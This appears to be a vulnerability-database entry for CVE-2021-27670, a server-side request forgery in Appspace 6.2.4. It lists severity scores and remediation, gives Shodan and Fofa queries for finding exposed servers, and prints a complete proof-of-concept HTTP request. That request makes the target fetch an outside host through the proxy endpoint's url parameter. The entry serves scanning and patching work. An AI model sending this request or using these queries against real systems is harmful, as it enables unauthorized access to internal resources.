| Title | Appspace 6.2.4 - Server-Side Request Forgery |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution. |
| Remediation | Upgrade to a patched version of Appspace 6.2.4 or apply the necessary security patches provided by the vendor. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92837 |
| CVE ID | CVE-2021-27670 |
| CWE ID | CWE-918 |
| Shodan Query | title:"Appspace"http.title:"appspace" |
| Fofa Query | title="appspace" |
| Tags | cve cve2021 appspace ssrf vuln |
Appspace 6.2.4 allows SSRF via the api/v1/core/proxy/jsonprequest url parameter.
GET /api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27670.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27670.pcap
N/AN/A